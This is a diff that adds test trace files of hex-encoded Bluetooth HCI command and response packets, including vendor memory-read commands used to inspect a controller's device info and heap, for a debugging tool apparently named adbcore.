+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc0594442000fb
+RX 0000000900000009
+RX 000000020000000000e26b46
+RX e2d6c43c
+RX 014dfc0594442000fb
+RX 00000102000001020000000300000000
+RX 00e26b46e2d6ebde
+RX 04
+RX 0eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc058f45200051
+RX 0000000900000009000000020000000000e26b46e2d7daf3
+RX 01
+RX 4dfc058f45200051
+RX 00000058000000580000000300000000
+RX 00e26b46e2d7fab5
+RX 04
+RX 0e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05e0452000fb
+RX 0000000900000009
+RX 000000020000000000e26b46
+RX e2d8ed9a
+RX 014dfc05e0452000fb
+RX 00000102000001020000000300000000
+RX 00e26b46e2d91d63
+RX 040eff014dfc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+TX 0108004dfc05db46200051
+RX 0000000900000009
+RX 000000020000000000e26b46
+RX e2da0321
+RX 014dfc05db46200051
+RX 0000005800000058000000030000000000e26b46e2da2145
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+RX 0000001a
+Socket closed

tests/traces/adbcore/info_device.trace

@@ -0,0 +1,44 @@
+#info device
+TX 010300011000
+RX 00000004
+RX 00000004
+RX 00000002
+RX 00000000
+RX 00e269c2
+RX 1010a0f2
+RX 01
+RX 011000
+RX 0000000f
+RX 0000000f
+RX 00000003
+RX 00000000
+RX 00e269c2
+RX 1010e99d
+RX 04
+RX 0e0c01011000075301070f000961
+TX 070200f001
+TX 0108004dfc052c0c210006
+RX 0000000300000003000000030000000000e269c210128aa7
+RX 07f001
+RX 000000090000000900000002
+RX 0000000000e269c210129ad2
+RX 014dfc052c0c210006
+RX 0000000d
+RX 0000000d000000030000000000e269c2
+RX 1012a345
+RX 040e0a014dfc00f1037dc795f8
+TX 0108004dfc05b4782100fb
+RX 0000000900000009000000020000000000e269c210130715
+RX 014dfc05b4782100fb
+RX 0000010200000102000000030000000000e269c2
+RX 10130fc0
+RX 04
+RX 0eff014dfc0008094e657875732035170305110a110c110e111211151116111f112f1100123211010501070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000107a21000e0a014dfc00f1
+TX 0108004dfc05af79210007
+RX 0000000900000009000000020000000000e269c210138340
+RX 01
+RX 4dfc05af79210007
+RX 0000000e0000000e00000003
+RX 0000000000e269c210138aa9
+RX 040e0b014dfc00037dc795f80461
+Socket closed

tests/traces/adbcore/info_heap.trace

@@ -0,0 +1,685 @@
+# info heap
+TX 010300011000
+RX 0000000400000004000000020000000000e269c200a6dc56
+RX 01011000
+RX 0000000f0000000f000000030000000000e269c2
+RX 00a717ec
+RX 04
+RX 0e0c01011000075301070f000961
+TX 070200f001
+TX 0108004dfc059430200004
+RX 000000030000000300000003
+RX 0000000000e269c200a87965
+RX 07f001
+RX 00000009000000090000000200000000
+RX 00e269c200a8e193
+RX 01
+RX 4dfc059430200004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 00a918e2
+RX 040e08014dfc00c85d2000
+TX 0108004dfc05c85d200030
+RX 000000090000000900000002
+RX 0000000000e269c200aab793
+RX 014dfc05c85d200030
+RX 00000037
+RX 000000370000000300000000
+RX 00e269c200aaf0ec
+RX 04
+RX 0e34014dfc00434f4c42000000000700000008000000a4792100a479210020010000200000000000000000000000f85d200068ec2000
+TX 0108004dfc05a479210004
+RX 000000090000000900000002
+RX 0000000000e269c200acb1ba
+RX 014dfc05a479210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c200ace5c2
+RX 04
+RX 0e08014dfc00c85d2000
+TX 0108004dfc05c879210004
+RX 000000090000000900000002
+RX 0000000000e269c200ae2501
+RX 014dfc05c879210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200ae5915
+RX 04
+RX 0e08014dfc00587a2100
+TX 0108004dfc05ec79210004
+RX 0000000900000009000000020000000000e269c200b01eae
+RX 01
+RX 4dfc05ec79210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c200b04d6c
+RX 04
+RX 0e08014dfc007c7a2100
+TX 0108004dfc05107a210004
+RX 0000000900000009000000020000000000e269c200b19061
+RX 014dfc05107a210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c200b1c4f3
+RX 04
+RX 0e08014dfc00c8792100
+TX 0108004dfc05347a210004
+RX 0000000900000009000000020000000000e269c200b38d00
+RX 01
+RX 4dfc05347a210004
+RX 0000000b0000000b
+RX 000000030000000000e269c200b3bbaa
+RX 040e08014dfc00c85d2000
+TX 0108004dfc05587a210004
+RX 0000000900000009000000020000000000e269c200b58252
+RX 014dfc05587a210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00b5b18b
+RX 040e08014dfc00ec792100
+TX 0108004dfc057c7a210004
+RX 0000000900000009000000020000000000e269c200b6f455
+RX 014dfc057c7a210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00b728c4
+RX 040e08014dfc00a07a2100
+TX 0108004dfc05a07a210004
+RX 000000090000000900000002
+RX 0000000000e269c200b8f1d6
+RX 014dfc05a07a210004
+RX 0000000b0000000b000000030000000000e269c2
+RX 00b92612
+RX 040e08014dfc0000000000
+TX 0108004dfc05f85d200030
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00ba65be
+RX 014dfc05f85d200030
+RX 00000037000000370000000300000000
+RX 00e269c200ba9b76
+RX 04
+RX 0e34014dfc00434f4c42000000000700000008000000087b2100c47a210020020000400000000000000000000000285e2000c85d2000
+TX 0108004dfc05c47a210004
+RX 000000090000000900000002
+RX 0000000000e269c200bc6390
+RX 014dfc05c47a210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00bc987e
+RX 04
+RX 0e08014dfc00087b2100
+TX 0108004dfc05087b210004
+RX 0000000900000009000000020000000000e269c2
+RX 00bdd708
+RX 014dfc05087b210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200be075f
+RX 04
+RX 0e08014dfc004c7b2100
+TX 0108004dfc054c7b210004
+RX 0000000900000009000000020000000000e269c200bfd07f
+RX 014dfc054c7b210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00bfffe2
+RX 040e08014dfc00907b2100
+TX 0108004dfc05907b210004
+RX 000000090000000900000002
+RX 0000000000e269c200c1c264
+RX 014dfc05907b210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00c1fba1
+RX 040e08014dfc00d47b2100
+TX 0108004dfc05d47b210004
+RX 000000090000000900000002
+RX 0000000000e269c200c339f3
+RX 014dfc05d47b210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00c36f64
+RX 040e08014dfc00187c2100
+TX 0108004dfc05187c210004
+RX 0000000900000009000000020000000000e269c200c53386
+RX 014dfc05187c210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00c56249
+RX 040e08014dfc005c7c2100
+TX 0108004dfc055c7c210004
+RX 0000000900000009000000020000000000e269c2
+RX 00c6a64c
+RX 014dfc055c7c210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200c6d51e
+RX 04
+RX 0e08014dfc00a07c2100
+TX 0108004dfc05a07c210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00c8a176
+RX 014dfc05a07c210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200c8daef
+RX 04
+RX 0e08014dfc0000000000
+TX 0108004dfc05285e200030
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00ca1661
+RX 014dfc05285e200030
+RX 000000370000003700000003
+RX 0000000000e269c200ca4c0b
+RX 040e34014dfc00434f4c42000000000a0000000a000000e47c2100e47c2100780a0000080100000000000000000000885e2000f85d2000
+TX 0108004dfc05e47c210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00cc13aa
+RX 014dfc05e47c210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200cc49c8
+RX 04
+RX 0e08014dfc00f07d2100
+TX 0108004dfc05f07d210004
+RX 00000009000000090000000200000000
+RX 00e269c200ce084a
+RX 014dfc05f07d210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00ce3d02
+RX 040e08014dfc00fc7e2100
+TX 0108004dfc05fc7e210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00cf7abc
+RX 014dfc05fc7e210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200cfafff
+RX 04
+RX 0e08014dfc0008802100
+TX 0108004dfc050880210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00d1718e
+RX 014dfc050880210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200d1ad02
+RX 040e08014dfc0014812100
+TX 0108004dfc051481210004
+RX 0000000900000009000000020000000000e269c200d2e49d
+RX 01
+RX 4dfc051481210004
+RX 0000000b0000000b
+RX 000000030000000000e269c200d313fc
+RX 040e08014dfc0020822100
+TX 0108004dfc052082210004
+RX 0000000900000009000000020000000000e269c2
+RX 00d4dfc6
+RX 014dfc052082210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200d50e59
+RX 040e08014dfc002c832100
+TX 0108004dfc052c83210004
+RX 00000009000000090000000200000000
+RX 00e269c200d65308
+RX 01
+RX 4dfc052c83210004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 00d68806
+RX 040e08014dfc0038842100
+TX 0108004dfc053884210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00d84aba
+RX 014dfc053884210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200d88584
+RX 040e08014dfc0044852100
+TX 0108004dfc054485210004
+RX 0000000900000009000000020000000000e269c2
+RX 00da42d6
+RX 014dfc054485210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200da7651
+RX 040e08014dfc0050862100
+TX 0108004dfc055086210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00dbba9e
+RX 014dfc055086210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200dbf538
+RX 04
+RX 0e08014dfc0000000000
+TX 0108004dfc05885e200030
+RX 00000009000000090000000200000000
+RX 00e269c200ddb037
+RX 01
+RX 4dfc05885e200030
+RX 000000370000003700000003
+RX 0000000000e269c200dde9b6
+RX 040e34014dfc00434f4c4200000000040000000400000024c6210024c62100b0100000280400000000000000000000585e2000285e2000
+TX 0108004dfc0524c6210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00df268a
+RX 014dfc0524c6210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200df5cd7
+RX 040e08014dfc0050ca2100
+TX 0108004dfc0550ca210004
+RX 0000000900000009000000020000000000e269c2
+RX 00e11eb6
+RX 01
+RX 4dfc0550ca210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200e15819
+RX 040e08014dfc007cce2100
+TX 0108004dfc057cce210004
+RX 00000009000000090000000200000000
+RX 00e269c200e29334
+RX 01
+RX 4dfc057cce210004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 00e2c73e
+RX 040e08014dfc00a8d22100
+TX 0108004dfc05a8d2210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00e4925e
+RX 014dfc05a8d2210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c200e4c673
+RX 040e08014dfc0000000000
+TX 0108004dfc05585e200030
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00e5ff65
+RX 014dfc05585e200030
+RX 000000370000003700000003
+RX 0000000000e269c200e63326
+RX 040e34014dfc00434f4c42000000001000000010000000d4d62100d4d621008044000044040000000000000000000038ec2000885e2000
+TX 0108004dfc05d4d6210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00e7fcce
+RX 014dfc05d4d6210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200e8313f
+RX 040e08014dfc001cdb2100
+TX 0108004dfc051cdb210004
+RX 0000000900000009000000020000000000e269c200e9f3c0
+RX 014dfc051cdb210004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 00ea223f
+RX 040e08014dfc0064df2100
+TX 0108004dfc0564df210004
+RX 00000009000000090000000200000000
+RX 00e269c200eb6947
+RX 01
+RX 4dfc0564df210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200eb9dc8
+RX 04
+RX 0e08014dfc00ace32100
+TX 0108004dfc05ace3210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00ed6025
+RX 014dfc05ace3210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00edb820
+RX 040e08014dfc00f4e72100
+TX 0108004dfc05f4e7210004
+RX 00000009000000090000000200000000
+RX 00e269c200eeaa84
+RX 014dfc05f4e7210004
+RX 0000000b0000000b000000030000000000e269c200eeb23c
+RX 04
+RX 0e08014dfc003cec2100
+TX 0108004dfc053cec210004
+RX 0000000900000009
+RX 000000020000000000e269c200ef25f0
+RX 01
+RX 4dfc053cec210004
+RX 0000000b
+RX 0000000b000000030000000000e269c200ef2e26
+RX 04
+RX 0e08014dfc0084f02100
+TX 0108004dfc0584f0210004
+RX 0000000900000009000000020000000000e269c200efa285
+RX 014dfc0584f0210004
+RX 0000000b
+RX 0000000b000000030000000000e269c200efa979
+RX 040e08014dfc00ccf42100
+TX 0108004dfc05ccf4210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00f0207c
+RX 014dfc05ccf4210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200f028c8
+RX 04
+RX 0e08014dfc0014f92100
+TX 0108004dfc0514f9210004
+RX 0000000900000009000000020000000000e269c200f0b8fd
+RX 014dfc0514f9210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200f0bf4a
+RX 040e08014dfc005cfd2100
+TX 0108004dfc055cfd210004
+RX 00000009000000090000000200000000
+RX 00e269c200f11c7d
+RX 01
+RX 4dfc055cfd210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200f12aa4
+RX 040e08014dfc00a4012200
+TX 0108004dfc05a401220004
+RX 0000000900000009000000020000000000e269c200f1946c
+RX 014dfc05a401220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200f19f40
+RX 040e08014dfc00ec052200
+TX 0108004dfc05ec05220004
+RX 0000000900000009000000020000000000e269c200f20f44
+RX 01
+RX 4dfc05ec05220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200f21b6a
+RX 04
+RX 0e08014dfc00340a2200
+TX 0108004dfc05340a220004
+RX 0000000900000009000000020000000000e269c200f29be7
+RX 014dfc05340a220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00f2b3bd
+RX 040e08014dfc007c0e2200
+TX 0108004dfc057c0e220004
+RX 00000009
+RX 00000009
+RX 0000000200000000
+RX 00e269c200f3a7c6
+RX 01
+RX 4dfc057c0e220004
+RX 0000000b0000000b000000030000000000e269c2
+RX 00f4951f
+RX 040e08014dfc00c4122200
+TX 0108004dfc05c412220004
+RX 0000000900000009
+RX 000000020000000000e269c200f637e5
+RX 014dfc05c412220004
+RX 0000000b0000000b000000030000000000e269c200f63f91
+RX 040e08014dfc000c172200
+TX 0108004dfc050c17220004
+RX 00000009
+RX 000000090000000200000000
+RX 00e269c200f6f156
+RX 014dfc050c17220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200f6f966
+RX 04
+RX 0e08014dfc0000000000
+TX 0108004dfc0538ec200030
+RX 00000009000000090000000200000000
+RX 00e269c200f76de0
+RX 014dfc0538ec200030
+RX 0000003700000037000000030000000000e269c200f7757d
+RX 040e34014dfc00434f4c42000000000f0000000f000000541b2200541b22009402000028000000000000000000000068ec2000585e2000
+TX 0108004dfc05541b220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00f8133d
+RX 014dfc05541b220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c200f83a20
+RX 04
+RX 0e08014dfc00801b2200
+TX 0108004dfc05801b220004
+RX 0000000900000009000000020000000000e269c200f909ee
+RX 014dfc05801b220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c200f935e2
+RX 04
+RX 0e08014dfc00ac1b2200
+TX 0108004dfc05ac1b220004
+RX 0000000900000009000000020000000000e269c2
+RX 00fb146c
+RX 014dfc05ac1b220004
+RX 0000000b
+RX 0000000b00000003
+RX 0000000000e269c200fb4327
+RX 040e08014dfc00d81b2200
+TX 0108004dfc05d81b220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00fd0682
+RX 014dfc05d81b220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200fd3fca
+RX 04
+RX 0e08014dfc00041c2200
+TX 0108004dfc05041c220004
+RX 00000009000000090000000200000000
+RX 00e269c200fe7d8e
+RX 01
+RX 4dfc05041c220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200feb0d4
+RX 040e08014dfc00301c2200
+TX 0108004dfc05301c220004
+RX 0000000900000009000000020000000000e269c2
+RX 010074cc
+RX 014dfc05301c220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c20100a76b
+RX 04
+RX 0e08014dfc005c1c2200
+TX 0108004dfc055c1c220004
+RX 0000000900000009000000020000000000e269c20101eacb
+RX 014dfc055c1c220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c201021779
+RX 04
+RX 0e08014dfc00881c2200
+TX 0108004dfc05881c220004
+RX 0000000900000009000000020000000000e269c20103e6c3
+RX 014dfc05881c220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c201041515
+RX 04
+RX 0e08014dfc00b41c2200
+TX 0108004dfc05b41c220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 01055aa2
+RX 014dfc05b41c220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c201058f0e
+RX 040e08014dfc00e01c2200
+TX 0108004dfc05e01c220004
+RX 000000090000000900000002
+RX 0000000000e269c201075199
+RX 014dfc05e01c220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c201078a8c
+RX 04
+RX 0e08014dfc000c1d2200
+TX 0108004dfc050c1d220004
+RX 0000000900000009000000020000000000e269c2
+RX 010948a2
+RX 014dfc050c1d220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c201097c0d
+RX 04
+RX 0e08014dfc00381d2200
+TX 0108004dfc05381d220004
+RX 0000000900000009
+RX 000000020000000000e269c2010ac2b3
+RX 014dfc05381d220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c2010afeef
+RX 04
+RX 0e08014dfc00641d2200
+TX 0108004dfc05641d220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 010cbc41
+RX 014dfc05641d220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c2010cefe5
+RX 040e08014dfc00901d2200
+TX 0108004dfc05901d220004
+RX 00000009000000090000000200000000
+RX 00e269c2010e2df1
+RX 01
+RX 4dfc05901d220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c2010e61ea
+RX 040e08014dfc00bc1d2200
+TX 0108004dfc05bc1d220004
+RX 000000090000000900000002
+RX 0000000000e269c20110231e
+RX 014dfc05bc1d220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c201105c92
+RX 04
+RX 0e08014dfc0000000000
+TX 0108004dfc0568ec200030
+RX 0000000900000009000000020000000000e269c2
+RX 01119816
+RX 014dfc0568ec200030
+RX 00000037000000370000000300000000
+RX 00e269c20111c667
+RX 04
+RX 0e34014dfc00434f4c42000000000f0000000f000000e81d2200e81d22001c020000200000000000000000000000c85d200038ec2000
+TX 0108004dfc05e81d220004
+RX 00000009000000090000000200000000
+RX 00e269c201138f25
+RX 01
+RX 4dfc05e81d220004
+RX 0000000b0000000b
+RX 000000030000000000e269c20113c768
+RX 040e08014dfc000c1e2200
+TX 0108004dfc050c1e220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 011507e7
+RX 014dfc050c1e220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c201153d26
+RX 04
+RX 0e08014dfc00301e2200
+TX 0108004dfc05301e220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 0116fe0e
+RX 014dfc05301e220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c201173734
+RX 04
+RX 0e08014dfc00541e2200
+TX 0108004dfc05541e220004
+RX 0000000900000009000000020000000000e269c20118f296
+RX 014dfc05541e220004
+RX 0000000b0000000b
+RX 000000030000000000e269c2011926ef
+RX 040e08014dfc00781e2200
+TX 0108004dfc05781e220004
+RX 0000000900000009000000020000000000e269c2011a6bbe
+RX 014dfc05781e220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c2011a9958
+RX 04
+RX 0e08014dfc009c1e2200
+TX 0108004dfc059c1e220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 011c676b
+RX 014dfc059c1e220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c2011c9b6e
+RX 040e08014dfc00c01e2200
+TX 0108004dfc05c01e220004
+RX 0000000900000009000000020000000000e269c2
+RX 011dda94
+RX 014dfc05c01e220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c2011e0829
+RX 04
+RX 0e08014dfc00e41e2200
+TX 0108004dfc05e41e220004
+RX 0000000900000009000000020000000000e269c2011fd393
+RX 014dfc05e41e220004
+RX 0000000b0000000b
+RX 0000000300000000
+RX 00e269c201200234
+RX 040e08014dfc00081f2200
+TX 0108004dfc05081f220004
+RX 0000000900000009000000020000000000e269c2
+RX 012145f7
+RX 014dfc05081f220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c20121a431
+RX 04
+RX 0e08014dfc002c1f2200
+TX 0108004dfc052c1f220004
+RX 000000090000000900000002
+RX 0000000000e269c201230eec
+RX 014dfc052c1f220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c201231658
+RX 040e08014dfc00501f2200
+TX 0108004dfc05501f220004
+RX 0000000900000009
+RX 000000020000000000e269c20124484f
+RX 014dfc05501f220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c201244f7a
+RX 040e08014dfc00741f2200
+TX 0108004dfc05741f220004
+RX 00000009
+RX 00000009000000020000000000e269c201250543
+RX 01
+RX 4dfc05741f220004
+RX 0000000b0000000b000000030000000000e269c2
+RX 01250d7b
+RX 040e08014dfc00981f2200
+TX 0108004dfc05981f220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 0125e492
+RX 014dfc05981f220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c201260ab3
+RX 040e08014dfc00bc1f2200
+TX 0108004dfc05bc1f220004
+RX 0000000900000009000000020000000000e269c2
+RX 01276da0
+RX 014dfc05bc1f220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c201279c46
+RX 040e08014dfc00e01f2200
+TX 0108004dfc05e01f220004
+RX 0000000900000009000000020000000000e269c2
+RX 0128e461
+RX 014dfc05e01f220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c2012914b3
+RX 040e08014dfc0000000000
+Socket closed

tests/traces/adbcore/info_heap_s8.trace.broken

@@ -0,0 +1,747 @@
+# info heap
+TX 01011000
+RX 0000000f0000000f000000030000000000e27beebf93dd9f
+RX 040e0c01011000094f01090f001a41
+TX 014dfc057c06200004
+RX 0000000b0000000b000000030000000000e27beebf9481eb
+RX 040e08014dfc009c062000
+TX 014dfc059c06200030
+RX 0000003700000037000000030000000000e27beebf94e223
+RX 040e34014dfc00bc06200020006000782a2100b82a21005f02047300000000000000005c00b8ebdc06200060003e007836210078362100
+TX 014dfc05782a210004
+RX 0000000b0000000b000000030000000000e27beebf951eb3
+RX 040e08014dfc00f82a2100
+TX 014dfc059c2a210004
+RX 0000000b0000000b000000030000000000e27beebf955ded
+RX 040e08014dfc003f700000
+TX 014dfc05c02a210004
+RX 0000000b0000000b000000030000000000e27beebf95a038
+RX 040e08014dfc000e08014d
+TX 014dfc05e42a210004
+RX 0000000b0000000b000000030000000000e27beebf95ddda
+RX 040e08014dfc00cc118300
+TX 014dfc05082b210004
+RX 0000000b0000000b000000030000000000e27beebf960919
+RX 040e08014dfc00057e2f20
+TX 014dfc052c2b210004
+RX 0000000b0000000b000000030000000000e27beebf961c69
+RX 040e08014dfc0055382000
+TX 014dfc05502b210004
+RX 0000000b0000000b000000030000000000e27beebf964a96
+RX 040e08014dfc00ffff0100
+TX 014dfc05742b210004
+RX 0000000b0000000b000000030000000000e27beebf969a6a
+RX 040e08014dfc0000000000
+TX 014dfc05982b210004
+RX 0000000b0000000b000000030000000000e27beebf96fad6
+RX 040e08014dfc00b82b2100
+TX 014dfc05bc2b210004
+RX 0000000b0000000b000000030000000000e27beebf973df6
+RX 040e08014dfc000000ffff
+TX 014dfc05e02b210004
+RX 0000000b0000000b000000030000000000e27beebf97805e
+RX 040e08014dfc0000000010
+TX 014dfc05042c210004
+RX 0000000b0000000b000000030000000000e27beebf97c6f5
+RX 040e08014dfc00ffff0038
+TX 014dfc05282c210004
+RX 0000000b0000000b000000030000000000e27beebf9805a2
+RX 040e08014dfc00e000004c
+TX 014dfc054c2c210004
+RX 0000000b0000000b000000030000000000e27beebf9847c9
+RX 040e08014dfc0065000000
+TX 014dfc05702c210004
+RX 0000000b0000000b000000030000000000e27beebf98a930
+RX 040e08014dfc006500a800
+TX 014dfc05942c210004
+RX 0000000b0000000b000000030000000000e27beebf99108a
+RX 040e08014dfc00d0010300
+TX 014dfc05b82c210004
+RX 0000000b0000000b000000030000000000e27beebf99524c
+RX 040e08014dfc00d82c2100
+TX 014dfc05dc2c210004
+RX 0000000b0000000b000000030000000000e27beebf99929f
+RX 040e08014dfc0000000000
+TX 014dfc05002d210004
+RX 0000000b0000000b000000030000000000e27beebf99d466
+RX 040e08014dfc0000000000
+TX 014dfc05242d210004
+RX 0000000b0000000b000000030000000000e27beebf9a15bc
+RX 040e08014dfc00ffff80ff
+TX 014dfc05482d210004
+RX 0000000b0000000b000000030000000000e27beebf9a56d4
+RX 040e08014dfc0000000500
+TX 014dfc056c2d210004
+RX 0000000b0000000b000000030000000000e27beebf9a9929
+RX 040e08014dfc0000ec0301
+TX 014dfc05902d210004
+RX 0000000b0000000b000000030000000000e27beebf9adc19
+RX 040e08014dfc0045432000
+TX 014dfc05b42d210004
+RX 0000000b0000000b000000030000000000e27beebf9b4126
+RX 040e08014dfc0000010003
+TX 014dfc05d82d210004
+RX 0000000b0000000b000000030000000000e27beebf9ba307
+RX 040e08014dfc00f82d2100
+TX 014dfc05fc2d210004
+RX 0000000b0000000b000000030000000000e27beebf9be4fe
+RX 040e08014dfc0000ff0000
+TX 014dfc05202e210004
+RX 0000000b0000000b000000030000000000e27beebf9c2a13
+RX 040e08014dfc0000a80360
+TX 014dfc05442e210004
+RX 0000000b0000000b000000030000000000e27beebf9c6c61
+RX 040e08014dfc0014000000
+TX 014dfc05682e210004
+RX 0000000b0000000b000000030000000000e27beebf9cab70
+RX 040e08014dfc002f000000
+TX 014dfc058c2e210004
+RX 0000000b0000000b000000030000000000e27beebf9cebaf
+RX 040e08014dfc005f000000
+TX 014dfc05b02e210004
+RX 0000000b0000000b000000030000000000e27beebf9d6ba8
+RX 040e08014dfc002f000000
+TX 014dfc05d42e210004
+RX 0000000b0000000b000000030000000000e27beebf9dad08
+RX 040e08014dfc002f000000
+TX 014dfc05f82e210004
+RX 0000000b0000000b000000030000000000e27beebf9dee39
+RX 040e08014dfc00182f2100
+TX 014dfc051c2f210004
+RX 0000000b0000000b000000030000000000e27beebf9e3190
+RX 040e08014dfc0022000000
+TX 014dfc05402f210004
+RX 0000000b0000000b000000030000000000e27beebf9e71b0
+RX 040e08014dfc0000000000
+TX 014dfc05642f210004
+RX 0000000b0000000b000000030000000000e27beebf9eb2b9
+RX 040e08014dfc0000000000
+TX 014dfc05882f210004
+RX 0000000b0000000b000000030000000000e27beebf9ef366
+RX 040e08014dfc00002f0000
+TX 014dfc05ac2f210004
+RX 0000000b0000000b000000030000000000e27beebf9f354b
+RX 040e08014dfc00006f0000
+TX 014dfc05d02f210004
+RX 0000000b0000000b000000030000000000e27beebf9f7655
+RX 040e08014dfc00002f0000
+TX 014dfc05f42f210004
+RX 0000000b0000000b000000030000000000e27beebf9fb7ca
+RX 040e08014dfc00002f0000
+TX 014dfc051830210004
+RX 0000000b0000000b000000030000000000e27beebfa01abc
+RX 040e08014dfc0038302100
+TX 014dfc053c30210004
+RX 0000000b0000000b000000030000000000e27beebfa0b97a
+RX 040e08014dfc0000220000
+TX 014dfc056030210004
+RX 0000000b0000000b000000030000000000e27beebfa0fbc8
+RX 040e08014dfc0000000000
+TX 014dfc058430210004
+RX 0000000b0000000b000000030000000000e27beebfa13d4e
+RX 040e08014dfc0000000000
+TX 014dfc05a830210004
+RX 0000000b0000000b000000030000000000e27beebfa17f0c
+RX 040e08014dfc0006000000
+TX 014dfc05cc30210004
